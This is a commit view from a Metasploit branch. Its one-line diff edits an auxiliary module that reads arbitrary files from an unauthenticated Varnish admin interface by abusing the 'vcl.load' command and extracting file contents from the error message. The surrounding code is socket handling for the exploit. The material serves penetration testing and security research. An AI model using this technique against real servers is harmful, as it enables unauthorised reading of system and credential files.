varnish no auth file read

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-03-09 11:25:13 -06:00
parent 1fd0087a97
commit 615f6b02af
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 1 additions and 0 deletions

View File

@ -59,6 +59,7 @@ class MetasploitModule < Msf::Auxiliary
end
end
# abuse vcl.load to load a varnish config file and save it to a random variable. This will fail to give us the first line in debug message
sock.get_once
sock.puts("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} #{datastore['FILE']}")
result = sock.get_once
if result && result =~ /Line \d Pos \d+\)\n(.*)/